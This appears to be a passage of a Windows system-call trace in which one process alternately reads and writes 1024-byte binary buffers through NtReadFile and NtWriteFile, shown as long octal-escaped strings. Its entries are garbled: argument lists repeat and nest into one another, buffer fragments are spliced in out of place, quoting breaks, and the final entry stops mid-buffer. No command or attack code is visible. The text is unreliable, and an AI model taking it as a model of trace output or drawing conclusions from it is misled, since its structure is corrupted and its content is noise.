"\303\233#\302)\304\302/\15\10\230f\6\15{\236\315\253>?\205kI\307'\350\243\345S|b&\251a\232-2G\235>x\233T\230\306\27G\201C\237\211+f\272\202\327\5#\254>\2\322m\22jS\362.t2Q\275\366\255\370l9Yo\177M\357\371\7m+Rg\21\360\236\356\35*\362\234\347g>\347\221S\317h\224\211\7\307,5\271j\256\355\373\3607r~\244\305\234\224\246\212\263P)&\346\215\253\201D\0\364\362\222\232\35\331v\271\213\345K\23\227z\250\10\323R\24x\277\376X\272\316\374\14\376\214|P\27\257\367\265\241\376\246y\0\364\312~\335\360Ci\247J\260\247\224\23\254\246\3108\242\373\225\342]\362\326{\315\326\342^5#\340\272\\203\240\362>\243\24H\322\334^\351\264\311is\256\14R\245\230\366>m\254$\313\356|\210\354&\300\301F?\351\314\225I\376\220\20\212P\305\12\273\333\225^1\367\1Y\22">\255\254\45j\263\211;\25\2330J\371\30\376#Z\21\30\3\5\23\13U\2\245;8\371:\262\236d\312J\341MHhM\240\216>(\3321\13\212\316\214!\11\379\200v\220\316F\21\177V\267[\265\316l\202\367_>\0p\267\213\222\16\263\336\367\210YhA}\234\361\2\273z\222\231\324\213\247\330\324\307Ef\17\0F\240\334\353\346\371\306:\3110\231\255a\235\373\224\3069\221\211,an"\10\376j\363I\243u2\\3433\177\345\305\213\206#\10\33\253V\32\32ar\20!\375\364ryg6n?\302\264\21\327\251\337\245\213^\352\232\0Ih\277\340\223\16\2725\307\222PN+$\230\273\333\301(D\342\276\336\311\345D\374N\313\377\326<\252\376V\344\324\332\306\304\324}8\255\246\273\274n\15\222\224[\250]:\222e\334\365", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01218  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "0X75_6'88R\304<==U\30v\37\227K\4#\12#\20\31''+\326?+H\361,.\273\301\261\3154\312C>gg1\373g=\275\373\13\337\220Zb\31>!3'-f:H\0\266\303\12\215 \203>1\27055W0\2\373O-\315\32\177\3.\35\227/\243\341&\30\345P\12\322vIo\325.y\332-\341E0%\265q`\274I\305\271\322<9\275\327\37'z]Z@ \202\302\236\335\243\330h\270\251/\344\322\215+w=\1\305\2675\1679M1\260t9>\274\333\30[\233\326U\324\6\313\17\345\224i~\3110\303\365-^\321\317\272}?\267\361\326?\263-\273\260Y\17\1\34J\3648\234\26\12\5\246*&\245/f\11=\274|q\14:}\2648\23Y\262\350$-\3579\302sV\272\300;"0'\264\3625+\263{?\20u\36/\334c""v\254Z\177\14\15\243+\272-_\30\246\2341\336\320"\304\305l(\325u=Q\14\36\227j\7\252"g\0\21\245\341$y|S\304*3.(0\2544W4\23\334\272=:\30\265\3356\276\335\277\35\35\312F\301\6\0-\5\4.\204\11#\13F\331\26pu[\16\260\2\352\33(8 :\7\275\321O\25[\27\105\377,\3367a\330%\2w\327<\322K,\214"\357@\3618\263F\261\3017;1\327n\236=\22\236\33\376\277\36\273\361'\365\210''\207'\344\213*\317\215-\357\2150\33\316\2224\203\2247dY9\31\217=\327\224L\340\342\223\222\274\201\216\334\333\314\206%\210\235+{\6\270,\177\3240b\2716\35"\232\207=!\373'\367\375.\22\316\235+", ) 0'\264\3625+\263{?\20u\36/\334c" (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "0X75_6'88R\304<==U\30v\37\227K\4#\12#\20\31''+\326?+H\361,.\273\301\261\3154\312C>gg1\373g=\275\373\13\337\220Zb\31>!3'-f:H\0\266\303\12\215 \203>1\27055W0\2\373O-\315\32\177\3.\35\227/\243\341&\30\345P\12\322vIo\325.y\332-\341E0%\265q`\274I\305\271\322<9\275\327\37'z]Z@ \202\302\236\335\243\330h\270\251/\344\322\215+w=\1\305\2675\1679M1\260t9>\274\333\30[\233\326U\324\6\313\17\345\224i~\3110\303\365-^\321\317\272}?\267\361\326?\263-\273\260Y\17\1\34J\3648\234\26\12\5\246*&\245/f\11=\274|q\14:}\2648\23Y\262\350$-\3579\302sV\272\300;"0'\264\3625+\263{?\20u\36/\334c""v\254Z\177\14\15\243+\272-_\30\246\2341\336\320"\304\305l(\325u=Q\14\36\227j\7\252"g\0\21\245\341$y|S\304*3.(0\2544W4\23\334\272=:\30\265\3356\276\335\277\35\35\312F\301\6\0-\5\4.\204\11#\13F\331\26pu[\16\260\2\352\33(8 :\7\275\321O\25[\27\105\377,\3367a\330%\2w\327<\322K,\214"\357@\3618\263F\261\3017;1\327n\236=\22\236\33\376\277\36\273\361'\365\210''\207'\344\213*\317\215-\357\2150\33\316\2224\203\2247dY9\31\217=\327\224L\340\342\223\222\274\201\216\334\333\314\206%\210\235+{\6\270,\177\3240b\2716\35"\232\207=!\373'\367\375.\22\316\235+", ) \304\305l(\325u=Q\14\36\227j\7\252 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "0X75_6'88R\304<==U\30v\37\227K\4#\12#\20\31''+\326?+H\361,.\273\301\261\3154\312C>gg1\373g=\275\373\13\337\220Zb\31>!3'-f:H\0\266\303\12\215 \203>1\27055W0\2\373O-\315\32\177\3.\35\227/\243\341&\30\345P\12\322vIo\325.y\332-\341E0%\265q`\274I\305\271\322<9\275\327\37'z]Z@ \202\302\236\335\243\330h\270\251/\344\322\215+w=\1\305\2675\1679M1\260t9>\274\333\30[\233\326U\324\6\313\17\345\224i~\3110\303\365-^\321\317\272}?\267\361\326?\263-\273\260Y\17\1\34J\3648\234\26\12\5\246*&\245/f\11=\274|q\14:}\2648\23Y\262\350$-\3579\302sV\272\300;"0'\264\3625+\263{?\20u\36/\334c""v\254Z\177\14\15\243+\272-_\30\246\2341\336\320"\304\305l(\325u=Q\14\36\227j\7\252"g\0\21\245\341$y|S\304*3.(0\2544W4\23\334\272=:\30\265\3356\276\335\277\35\35\312F\301\6\0-\5\4.\204\11#\13F\331\26pu[\16\260\2\352\33(8 :\7\275\321O\25[\27\105\377,\3367a\330%\2w\327<\322K,\214"\357@\3618\263F\261\3017;1\327n\236=\22\236\33\376\277\36\273\361'\365\210''\207'\344\213*\317\215-\357\2150\33\316\2224\203\2247dY9\31\217=\327\224L\340\342\223\222\274\201\216\334\333\314\206%\210\235+{\6\270,\177\3240b\2716\35"\232\207=!\373'\367\375.\22\316\235+", ) \357@\3618\263F\261\3017;1\327n\236=\22\236\33\376\277\36\273\361'\365\210''\207'\344\213*\317\215-\357\2150\33\316\2224\203\2247dY9\31\217=\327\224L\340\342\223\222\274\201\216\334\333\314\206%\210\235+{\6\270,\177\3240b\2716\35 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "0X75_6'88R\304<==U\30v\37\227K\4#\12#\20\31''+\326?+H\361,.\273\301\261\3154\312C>gg1\373g=\275\373\13\337\220Zb\31>!3'-f:H\0\266\303\12\215 \203>1\27055W0\2\373O-\315\32\177\3.\35\227/\243\341&\30\345P\12\322vIo\325.y\332-\341E0%\265q`\274I\305\271\322<9\275\327\37'z]Z@ \202\302\236\335\243\330h\270\251/\344\322\215+w=\1\305\2675\1679M1\260t9>\274\333\30[\233\326U\324\6\313\17\345\224i~\3110\303\365-^\321\317\272}?\267\361\326?\263-\273\260Y\17\1\34J\3648\234\26\12\5\246*&\245/f\11=\274|q\14:}\2648\23Y\262\350$-\3579\302sV\272\300;"0'\264\3625+\263{?\20u\36/\334c""v\254Z\177\14\15\243+\272-_\30\246\2341\336\320"\304\305l(\325u=Q\14\36\227j\7\252"g\0\21\245\341$y|S\304*3.(0\2544W4\23\334\272=:\30\265\3356\276\335\277\35\35\312F\301\6\0-\5\4.\204\11#\13F\331\26pu[\16\260\2\352\33(8 :\7\275\321O\25[\27\105\377,\3367a\330%\2w\327<\322K,\214"\357@\3618\263F\261\3017;1\327n\236=\22\236\33\376\277\36\273\361'\365\210''\207'\344\213*\317\215-\357\2150\33\316\2224\203\2247dY9\31\217=\327\224L\340\342\223\222\274\201\216\334\333\314\206%\210\235+{\6\270,\177\3240b\2716\35"\232\207=!\373'\367\375.\22\316\235+", ) , ) == 0x0
 01219  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "3F\220\251\266\316,\310\3234Co\6k\376\366\205j\347\215\15\352\314\341p~\276;BN\230C\32\355\305\317\200\341\344\312K\246{\256\312_!\321\317\220\323\312\243\201o:jEX\10)2\237C\347\265)\373X5\205\250G\207&\213r!\273\272\306wF\311\270U\246\250\236\362\27@\31u\251'Sq\304\354vtU]\3403\2573\372\331\213\00\365\350\231\12\2066\323]A\250\342U\354\210\373I\367\277\246\221\272\10g\207('\233\200M@\276,\27\234KO\235\304\3732\335\32\c\311\314\365\241/\261\304&o\271\260-\265\271\373\270R\342\242g\230KBg\354\314\346$\344P-}\17\334/\331\15{`\301\372\226\365\314\373\227B\10\363@pKK\345\371\360g\261\12\355\275%\307\350^\261!k9\314\227\331-\3502<\255W\213W\315\324\215\177\346\330\213\371\226\23\262.\332\351_\350\242\231R\250:\236\16ps\336\304\275o\12\246\311\251\244r\202pB\366Bk;Y\365\242d\241eo\3334oL\264 \2217Fn@>\365\14?\362^X\344Koi>\232h\373\237\22\20\376\7\222\211L\205\16\342\206\33p\334#/c\336\250\235\35\311\201D\315V\220\247\245-\1\340\362b!\335\320\211s\211,\314\273\306\223\14o\322\315\273\4\240A[\34\1\353m4\325\351\321g\326\277B\10\256W\10@\244\241v\317\247\323\37!\31\0j\333>E\324\12\206,(c\312#\324\354\305\321\220\15\247\352-7\260\352+{N\242\267PK\30\345\260i\\253l\263\313m?\373p\20!*\276\364\243\15\26\246\227\301\316 O\375\11\240\367\353\11\10sO\345\260#X8N\1/?\205\324\2710\347u\230i\351S)yV\3\3\345\312n\203\301e\2643_\246\264\230<\234O", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01220  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "7\344\346#\265\13*~\237\256/U\1\232r\2646k\235\370\11\215<\10\23\237z}\211\236\37`\14-#&\245 G\274<\376\353(rE00.24+5)7-9\261\177\309\277\3\367\320\357~P@S\301T5\235\346hD\331\216\245\265j\216\12\21\251v4[\242\267\7\270\326w=?\212.\30(\221:cC\15&\356\34&\255\23(\242+\305\35\322\37\357\3141\236\13\324A1\366\3674::\373\326\312\4g89\36j\301\252x\7%\316@'\243%a\240v1/\3040\2726\2705\335\277s\349&Z\3765>>\360\342\35\36\33\241\345v\321$\332)'')%+#-!/?1=3;5\311886:4<2>0\33\23\35\21\37/!c$$t\2552|S\12\17z=\245\336\273\267\322\1\277\275.\266\10$\1\352@:\177\266\271\34\235\225\31\253\357\204p\1\2wI#>\303\0\343$O:\3243\33\347$%\337\22Tk9l\255+O\12=1\366\21\211q \262$!$3\300^&J\305>=\307N\317\302!R1\336m\25\255'W\\272\317=J46C1\33F2\225@\15\367\214\36n:;N\30JO%\330\22\24\34zi\20\347\10%+#-!/\17>2<4:638x\37;\32=?9\251\14;X\33\200\252,\10\354v\246\346\243\265>*\3547\351i416d\334\207\320q25\261\273Z|6>[\24\35\235\344!T\6\240\3425Nq\300\27\2449, ) , ) == 0x0
 01221  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\377\360\4Nl~\261\23\274\204\372?\302\363A\236w\262R\226\337\177\223f\206\343\325\327\33s\235\235\316\320wE\4\37\346\235\177\25\30gD\214&\241\367a\327\21\322\247\214\222\0\374Rs-9\350\225yn\241\355rY1\23\255\340d\245Yr,\7\270\R\236.\26\302\27\356\373{\275\362\337\236\355"\260m=d\227\312Qe\315\353n\14\33s\240\254O\231\244V:>\365(5\206\3Hq\212\217%E\30@\26r\3553\303\357\354\341\206<\337\307\267+#(\225$B\36\5H\5\250+\373\25)\360\220\277h\252b?,]\232\250\25]c3gY\213U\3\27\202\320\31\231\342d(\307\261G:sN\230\204\230\0\307\306\12|{S\361Y\360\349:\231m\3149\30\206\3037 k\347%{X\357G\11\31\4\212i.\257o\301\266\351\202E\360\22V\2406\307tt\316m\355?2\17\336.\352R\347\312\36\205\6!\222J\350\220\354\226\361\315\327\340\264\245\267\7cq\316\30\225\310\270\265h\233\3\1017\325\352\32\311~\364+M\15M\301\342\251ND\231\227XX\276\25\26\211\20\263g\242\324\257j\235\12V\16\12@\\230\343U\227DG\262%\252\254\243\347\217h\274']\364e\302\1Z\234\10\2012\342\26\355;\33\230\213\340\376l2\257\266\22(\253\30\377\350\273\342\216H\313&+\363"\0;$\322D+\2514\335\7\255CIz+\2v\322\212\304d\2178f\351\230z\335\302\205IF^Q\331\242\236\311\266 \321\2675]\365\3b\372`iy+\263\211\^[z\346\271\333Y\341H"\10\272\237\261O\307\267>\365k\376\204\341\300y\277\265\31\302\236W\376/\213\242\232=Q\33\336\333\36\0\251\22\352\36\16\305\305\254\356+n\240\17\33\207\265\27\20\244\352", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \260m=d\227\312Qe\315\353n\14\33s\240\254O\231\244V:>\365(5\206\3Hq\212\217%E\30@\26r\3553\303\357\354\341\206<\337\307\267+#(\225$B\36\5H\5\250+\373\25)\360\220\277h\252b?,]\232\250\25]c3gY\213U\3\27\202\320\31\231\342d(\307\261G:sN\230\204\230\0\307\306\12|{S\361Y\360\349:\231m\3149\30\206\3037 k\347%{X\357G\11\31\4\212i.\257o\301\266\351\202E\360\22V\2406\307tt\316m\355?2\17\336.\352R\347\312\36\205\6!\222J\350\220\354\226\361\315\327\340\264\245\267\7cq\316\30\225\310\270\265h\233\3\1017\325\352\32\311~\364+M\15M\301\342\251ND\231\227XX\276\25\26\211\20\263g\242\324\257j\235\12V\16\12@\\230\343U\227DG\262%\252\254\243\347\217h\274']\364e\302\1Z\234\10\2012\342\26\355;\33\230\213\340\376l2\257\266\22(\253\30\377\350\273\342\216H\313&+\363 (92, 0, 0, 0, "\377\360\4Nl~\261\23\274\204\372?\302\363A\236w\262R\226\337\177\223f\206\343\325\327\33s\235\235\316\320wE\4\37\346\235\177\25\30gD\214&\241\367a\327\21\322\247\214\222\0\374Rs-9\350\225yn\241\355rY1\23\255\340d\245Yr,\7\270\R\236.\26\302\27\356\373{\275\362\337\236\355"\260m=d\227\312Qe\315\353n\14\33s\240\254O\231\244V:>\365(5\206\3Hq\212\217%E\30@\26r\3553\303\357\354\341\206<\337\307\267+#(\225$B\36\5H\5\250+\373\25)\360\220\277h\252b?,]\232\250\25]c3gY\213U\3\27\202\320\31\231\342d(\307\261G:sN\230\204\230\0\307\306\12|{S\361Y\360\349:\231m\3149\30\206\3037 k\347%{X\357G\11\31\4\212i.\257o\301\266\351\202E\360\22V\2406\307tt\316m\355?2\17\336.\352R\347\312\36\205\6!\222J\350\220\354\226\361\315\327\340\264\245\267\7cq\316\30\225\310\270\265h\233\3\1017\325\352\32\311~\364+M\15M\301\342\251ND\231\227XX\276\25\26\211\20\263g\242\324\257j\235\12V\16\12@\\230\343U\227DG\262%\252\254\243\347\217h\274']\364e\302\1Z\234\10\2012\342\26\355;\33\230\213\340\376l2\257\266\22(\253\30\377\350\273\342\216H\313&+\363"\0;$\322D+\2514\335\7\255CIz+\2v\322\212\304d\2178f\351\230z\335\302\205IF^Q\331\242\236\311\266 \321\2675]\365\3b\372`iy+\263\211\^[z\346\271\333Y\341H"\10\272\237\261O\307\267>\365k\376\204\341\300y\277\265\31\302\236W\376/\213\242\232=Q\33\336\333\36\0\251\22\352\36\16\305\305\254\356+n\240\17\33\207\265\27\20\244\352", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \10\272\237\261O\307\267>\365k\376\204\341\300y\277\265\31\302\236W\376/\213\242\232=Q\33\336\333\36\0\251\22\352\36\16\305\305\254\356+n\240\17\33\207\265\27\20\244\352", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01222  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\3\2\373\25\334.\37\5\23\14\21|\264#\2066f\2137.\15_/P1b\333t\224\345\310\307`\371\356<\256o\355\33\221\220\22\336#\213J!^pL%DM(_\315+\255\2555\15g"7M\2247\234h;V\236=\372j\212\33\177f\33\22[&\7P!"rI+\219/y_\212\321^\370S>\276>F\254\260\352:%\15[\327\13\234\5\277R(\311\327B4/\242\347\\26\2339\235.~+\3307\22/\277=\265\366!\35\322)\234\27\273\377J\35iZ\203\310?\223?4&\267M\371\365\317(\236'\257\363\202\3019\271\272\200\344(\276\350%\377\2364\353 \302\14\27S\3771i\322(\305&L&\334*\246g\10\375\336,\220\355\0\363\367\351\267\313\374\365::\303\2541?\24\34\22\36\20 \336-#+%)'')%\31$\230\211/\232\2232\3412\252a6\222\255]8\265\232>A\34\36nI\36\212I\205#y"$u\177(m\211,xm<\14V3\2\2235\20\2208"o\234<-\234?\327\275\35\33H!\333\210\256\202%\311\200(\2533\251.(\3\2502\313r_\2607\331\267:\201b\26\376.\231\361\10\311\234\245\32_8\313I\224\344)\217\352&B\373#)"\244\3456>\26359\32654\1*7\275^ha\232;\335\37I\344 l\341%\371\2'\262\370*\367\371-\315\212\3411\374\3464\315\3478\371\357;\226H\357?\251\311\35\240\316 \205\367#p""\367(\277\377+|\374.\247e\3442\252\3455L\3428\333\353;Pd\353?0\31\3544\312 U\363#t\307T\345\26\266z+.g, ) 7M\2247\234h;V\236=\372j\212\33\177f\33\22[&\7P! (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\3\2\373\25\334.\37\5\23\14\21|\264#\2066f\2137.\15_/P1b\333t\224\345\310\307`\371\356<\256o\355\33\221\220\22\336#\213J!^pL%DM(_\315+\255\2555\15g"7M\2247\234h;V\236=\372j\212\33\177f\33\22[&\7P!"rI+\219/y_\212\321^\370S>\276>F\254\260\352:%\15[\327\13\234\5\277R(\311\327B4/\242\347\\26\2339\235.~+\3307\22/\277=\265\366!\35\322)\234\27\273\377J\35iZ\203\310?\223?4&\267M\371\365\317(\236'\257\363\202\3019\271\272\200\344(\276\350%\377\2364\353 \302\14\27S\3771i\322(\305&L&\334*\246g\10\375\336,\220\355\0\363\367\351\267\313\374\365::\303\2541?\24\34\22\36\20 \336-#+%)'')%\31$\230\211/\232\2232\3412\252a6\222\255]8\265\232>A\34\36nI\36\212I\205#y"$u\177(m\211,xm<\14V3\2\2235\20\2208"o\234<-\234?\327\275\35\33H!\333\210\256\202%\311\200(\2533\251.(\3\2502\313r_\2607\331\267:\201b\26\376.\231\361\10\311\234\245\32_8\313I\224\344)\217\352&B\373#)"\244\3456>\26359\32654\1*7\275^ha\232;\335\37I\344 l\341%\371\2'\262\370*\367\371-\315\212\3411\374\3464\315\3478\371\357;\226H\357?\251\311\35\240\316 \205\367#p""\367(\277\377+|\374.\247e\3442\252\3455L\3428\333\353;Pd\353?0\31\3544\312 U\363#t\307T\345\26\266z+.g, ) $u\177(m\211,xm<\14V3\2\2235\20\2208 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\3\2\373\25\334.\37\5\23\14\21|\264#\2066f\2137.\15_/P1b\333t\224\345\310\307`\371\356<\256o\355\33\221\220\22\336#\213J!^pL%DM(_\315+\255\2555\15g"7M\2247\234h;V\236=\372j\212\33\177f\33\22[&\7P!"rI+\219/y_\212\321^\370S>\276>F\254\260\352:%\15[\327\13\234\5\277R(\311\327B4/\242\347\\26\2339\235.~+\3307\22/\277=\265\366!\35\322)\234\27\273\377J\35iZ\203\310?\223?4&\267M\371\365\317(\236'\257\363\202\3019\271\272\200\344(\276\350%\377\2364\353 \302\14\27S\3771i\322(\305&L&\334*\246g\10\375\336,\220\355\0\363\367\351\267\313\374\365::\303\2541?\24\34\22\36\20 \336-#+%)'')%\31$\230\211/\232\2232\3412\252a6\222\255]8\265\232>A\34\36nI\36\212I\205#y"$u\177(m\211,xm<\14V3\2\2235\20\2208"o\234<-\234?\327\275\35\33H!\333\210\256\202%\311\200(\2533\251.(\3\2502\313r_\2607\331\267:\201b\26\376.\231\361\10\311\234\245\32_8\313I\224\344)\217\352&B\373#)"\244\3456>\26359\32654\1*7\275^ha\232;\335\37I\344 l\341%\371\2'\262\370*\367\371-\315\212\3411\374\3464\315\3478\371\357;\226H\357?\251\311\35\240\316 \205\367#p""\367(\277\377+|\374.\247e\3442\252\3455L\3428\333\353;Pd\353?0\31\3544\312 U\363#t\307T\345\26\266z+.g, ) \244\3456>\26359\32654\1*7\275^ha\232;\335\37I\344 l\341%\371\2'\262\370*\367\371-\315\212\3411\374\3464\315\3478\371\357;\226H\357?\251\311\35\240\316 \205\367#p" (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\3\2\373\25\334.\37\5\23\14\21|\264#\2066f\2137.\15_/P1b\333t\224\345\310\307`\371\356<\256o\355\33\221\220\22\336#\213J!^pL%DM(_\315+\255\2555\15g"7M\2247\234h;V\236=\372j\212\33\177f\33\22[&\7P!"rI+\219/y_\212\321^\370S>\276>F\254\260\352:%\15[\327\13\234\5\277R(\311\327B4/\242\347\\26\2339\235.~+\3307\22/\277=\265\366!\35\322)\234\27\273\377J\35iZ\203\310?\223?4&\267M\371\365\317(\236'\257\363\202\3019\271\272\200\344(\276\350%\377\2364\353 \302\14\27S\3771i\322(\305&L&\334*\246g\10\375\336,\220\355\0\363\367\351\267\313\374\365::\303\2541?\24\34\22\36\20 \336-#+%)'')%\31$\230\211/\232\2232\3412\252a6\222\255]8\265\232>A\34\36nI\36\212I\205#y"$u\177(m\211,xm<\14V3\2\2235\20\2208"o\234<-\234?\327\275\35\33H!\333\210\256\202%\311\200(\2533\251.(\3\2502\313r_\2607\331\267:\201b\26\376.\231\361\10\311\234\245\32_8\313I\224\344)\217\352&B\373#)"\244\3456>\26359\32654\1*7\275^ha\232;\335\37I\344 l\341%\371\2'\262\370*\367\371-\315\212\3411\374\3464\315\3478\371\357;\226H\357?\251\311\35\240\316 \205\367#p""\367(\277\377+|\374.\247e\3442\252\3455L\3428\333\353;Pd\353?0\31\3544\312 U\363#t\307T\345\26\266z+.g, ) , ) == 0x0
 01223  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\373}d\211\210\211V^\266>Bv\304\33\2\377%\333_\230\337G\27e4\337\361\23\311\332\261)\3320\263\247^\225`\263\31\376\322\346\351\200\215\227h\37\37\242\2]9\3041\364q\275\316GD\227L;s\31\262\31\30\14\326Rg\314\230~A\346\265)<\223\252.A\24 \3019\3248\375\207\247\322zO\216\374\336mE\375\246\37{\320\332\177\261T\241\2722\336\340!\15\2\250\336\304b0\6\32\370\276\12\232\17\222\230\271\347\37\357\207\357S\3036\320\304\252M\267\33\313;X\271\214\340O\255\301|x>\334\365#\256\200\236"\313\7\327?e{g\260\22\217\256\277l'\213?\235\364\326\22V+ M\240\1253\36=\374\210\326j\315\372\267 U\366\3233\230\227\330(7Q\305R\344\205\200\367\261\210\214\235\301\367\241LH\267\14@\31\21\326nr\274\253R\230\25\337\34\21\3341Z\374D~\227sL\21)\3\326\363q\212\26\4\277L*\250\345\32\272.\314\4\2136_kO3\367\32=\234n)M\272\12\315l\360\355p?\201\234t\223=\252r_\34\252\310y\15\216tx\304\231\306\372Z\232_\366l7\355\271\331\300\277o\255\220/Z}\355\232\265\37S7\201\266F\31\6\315\247]\276Y\263\274\203eDA\337\25a/\320\254(\335\206\13I\366\326?\360\306\22+\323\1s\\2c3;\310!\336\267\314\364k;\14\22 gP\330A@\215\206\372R\340;$\230\27\22\377=I\263\330\32\252\177"\235H\344\35\342M\222\263\344\33\341z\34\357\3759\263n\324\32G\360\337\364\316S\213\375\221|\314\P\274S\204\15\277p\374\37\306\213\223\357\356\212^\372S\276\353\377\323\265sX\337\302ss\220\2\6\267Q#\346\224~\1\4<\357\3767k\14", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \313\7\327?e{g\260\22\217\256\277l'\213?\235\364\326\22V+ M\240\1253\36=\374\210\326j\315\372\267 U\366\3233\230\227\330(7Q\305R\344\205\200\367\261\210\214\235\301\367\241LH\267\14@\31\21\326nr\274\253R\230\25\337\34\21\3341Z\374D~\227sL\21)\3\326\363q\212\26\4\277L*\250\345\32\272.\314\4\2136_kO3\367\32=\234n)M\272\12\315l\360\355p?\201\234t\223=\252r_\34\252\310y\15\216tx\304\231\306\372Z\232_\366l7\355\271\331\300\277o\255\220/Z}\355\232\265\37S7\201\266F\31\6\315\247]\276Y\263\274\203eDA\337\25a/\320\254(\335\206\13I\366\326?\360\306\22+\323\1s\\2c3;\310!\336\267\314\364k;\14\22 gP\330A@\215\206\372R\340;$\230\27\22\377=I\263\330\32\252\177 (92, 0, 0, 0, "\373}d\211\210\211V^\266>Bv\304\33\2\377%\333_\230\337G\27e4\337\361\23\311\332\261)\3320\263\247^\225`\263\31\376\322\346\351\200\215\227h\37\37\242\2]9\3041\364q\275\316GD\227L;s\31\262\31\30\14\326Rg\314\230~A\346\265)<\223\252.A\24 \3019\3248\375\207\247\322zO\216\374\336mE\375\246\37{\320\332\177\261T\241\2722\336\340!\15\2\250\336\304b0\6\32\370\276\12\232\17\222\230\271\347\37\357\207\357S\3036\320\304\252M\267\33\313;X\271\214\340O\255\301|x>\334\365#\256\200\236"\313\7\327?e{g\260\22\217\256\277l'\213?\235\364\326\22V+ M\240\1253\36=\374\210\326j\315\372\267 U\366\3233\230\227\330(7Q\305R\344\205\200\367\261\210\214\235\301\367\241LH\267\14@\31\21\326nr\274\253R\230\25\337\34\21\3341Z\374D~\227sL\21)\3\326\363q\212\26\4\277L*\250\345\32\272.\314\4\2136_kO3\367\32=\234n)M\272\12\315l\360\355p?\201\234t\223=\252r_\34\252\310y\15\216tx\304\231\306\372Z\232_\366l7\355\271\331\300\277o\255\220/Z}\355\232\265\37S7\201\266F\31\6\315\247]\276Y\263\274\203eDA\337\25a/\320\254(\335\206\13I\366\326?\360\306\22+\323\1s\\2c3;\310!\336\267\314\364k;\14\22 gP\330A@\215\206\372R\340;$\230\27\22\377=I\263\330\32\252\177"\235H\344\35\342M\222\263\344\33\341z\34\357\3759\263n\324\32G\360\337\364\316S\213\375\221|\314\P\274S\204\15\277p\374\37\306\213\223\357\356\212^\372S\276\353\377\323\265sX\337\302ss\220\2\6\267Q#\346\224~\1\4<\357\3767k\14", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01224  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "7$e`\3477\322\354[U\303(B\36\214\354\_=\325T\0Kl/=p\264\301HH/\334\355[3\262\216!\31-wByY\241\233\200\302+\367\32\337\37%\332\251g6V\10H\10#\11\11.[*\351\335/\214\37\27626\0\277I\5\221\328\17\356*\3749\305L<\367v\321#G1Kf4IV\243\373/\246\336\326\236\315\315UJ\202\263\200\241V?\34\7\313:\14\346\30d+\336$\332C?\243%\266F\252)\27\351--\23302\7\333\3545\311_\270+U;7\266\366?\252L\34\366\235(\242\2227\257\335\256{\250\11*\32\372\323\321\24\313>\2663\22255\264\375mP.<\325-\23\31\34\34\235\333\240%\253g\05\35\344\2500*g.Y'\244\370\331=\2634\15$\31089\322\354<}\265s?\34%\224\334{\177F\252)%&#\253\355\26\351<-:.\24092\377\105\216799\32;>\325\230\2\31\34=\37\224\254\56#(\250\242#\141*-||\243{\245\22\25\271kn\267\263\366\267UQ\325U\177\35\252+\201l80\3201\3275\274p2w\275;o\33!\205\273=s\335\33~\236 ^)B#\56\240\355-,+(<\316\223>)\364\2157-]\354\270\149#]\35?.U\221\315\21^:5\250\373\215\35\243\327+\243\351\302\32\340\276\15\36$\301\223$\38'\320\37 \3314}\6W\247m\37L\367", ) , ) == 0x0
 01225  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "l\35|\32\25\306\315\351\206\350\214[\332\16:\274f\347\343\312=>\232\351\345(\17CK\31]\362\242\253\217\206\260k\7\332\225\230\20D\231\204,\263\213\252\246\25\31p\20GMEI\270d7&\365\237c\271\340\347\326L\376\21\23\342z\232\357p\326\306\3>\3434(h\4z\373\226u?h\16x\21\212dlJ\307n'm\13Z\212\324\23 i\32\256\325M\340\32\322\250p\230\235$\200\340o\222\341\337\246~:\220\266;\7\300G\360\376\357\304\333.\316\352\201\207\261\340\340\274\211"\25\343qn\262\230n\260\33r\237\26\311\200(\351\273\311\303,\257\274\217\257\23\265PPR*\232\1\200\323\306L\37\246\24\362\261\225P\346?k\4\5@T\2|s\303H\361Q%h\271\357*\10\333\223v>\70~\300\236\364\310\36=\264Uh\262(\266\227\7\255D\313+\221T\243\361A\245\24\138,\342ikkzv\273-\354\220\27\13\3478,S\11\236\315`\351\14\330\263\18\3060t\211\14Go"R\205X#{\27n&'\125b\352\375Z\312\372O=Uc\15[\371\360\273\221\363\1\241\237\220Q?\263\34\0\22z\244O\354a\277l\205\17G\362\21\32\213M\202\21\1E\235\23X\225\362X#\6\2273\\22?/("\220_\216\353\212}\13\37\14\302\4\3003;M\207v\345jx\303=0\22\334\372/\324j\32\1\226?&\3142T1\3319J-\5Vs4\346\334\335\33732\254\372\16U\13\172\3233\2\5P\211\332NU\300\320HIK5\277\340GQ\354\7\374`]\243\377\247K$A\240\240\320Oo\260\13\351\314\\264\215\361\33#8Q\360\256\3\225\12Y\33\272t\